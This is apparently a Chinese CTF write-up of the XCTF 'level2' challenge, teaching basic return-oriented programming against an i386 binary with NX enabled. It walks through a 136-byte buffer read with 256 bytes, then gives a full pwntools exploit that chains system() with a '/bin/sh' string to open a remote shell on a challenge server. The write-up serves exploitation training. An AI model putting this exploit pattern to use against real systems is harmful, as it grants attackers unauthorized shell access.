攻防世界 level2

📅9/10/2021, 12:00:00 AM

题目

题目来源: XMan

题目描述:菜鸡请教大神如何获得flag,大神告诉他‘使用面向返回的编程(ROP)就可以了’

审题

ROP。

题解

checksec

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

NX

CTF Wiki

随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  system("echo 'Hello World!'");
  return 0;
}

vulnerable_function

ssize_t vulnerable_function()
{
  char buf[136]; // [esp+0h] [ebp-88h] BYREF

  system("echo Input:");
  return read(0, buf, 256u);
}
-00000088 buf             db 136 dup(?)
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)

字符数组buf的容量为136,read函数中却指明允许写入256个字节,故存在栈溢出。

因为其处于 return 处,运用 ROP(面向返回编程)构造 payload。

strings

在 IDA 的 strings 窗口中找到了字符串/bin/sh

LOAD:08048154	00000013	C	/lib/ld-linux.so.2
LOAD:0804822D	0000000A	C	libc.so.6
LOAD:08048237	0000000F	C	_IO_stdin_used
LOAD:0804824B	00000007	C	system
LOAD:08048252	00000012	C	__libc_start_main
LOAD:08048264	0000000F	C	__gmon_start__
LOAD:08048273	0000000A	C	GLIBC_2.0
.rodata:08048540	0000000C	C	echo Input:
.rodata:0804854C	00000014	C	echo 'Hello World!'
.eh_frame:080485CB	00000005	C	;*2$\"
.data:0804A024	00000008	C	/bin/sh

system

程序中存在system函数,利用本函数加上前面找到的字符串构造system('/bin/sh')命令 。

int system(const char *command)
{
  return system(command);
}
+00000000  r              db 4 dup(?)
+00000004 command         dd ?                    ; offset

Exp

Payload

payload = b'@'*140 + pack(system_addr) + b'@'*4 + pack(shell_addr)
  1. 用136位和4位数据覆盖函数vulnerable_functionbufs
  2. 将函数system的地址写入函vulnerable_functionr
  3. 用4位数据覆盖函数systemr
  4. 将字符串“/bin/sh”的地址写入函数systemcommand
from pwn import *


def exploit():
    elf = ELF('./a')

    system_addr = elf.symbols['system']
    shell_addr = next(elf.search(b'/bin/sh'))
    payload = b'@'*140 + pack(system_addr) + b'@'*4 + pack(shell_addr)

    r = remote('111.200.241.244',  63854)
    r.sendlineafter('Input:', payload)
    r.interactive()
    r.close()


def main():
    exploit()


if __name__ == '__main__':
    main()

总结

本题练习基本 ROP 的编写。

This 

post

 by Yingjie Shang is licensed under 

CC BY 4.0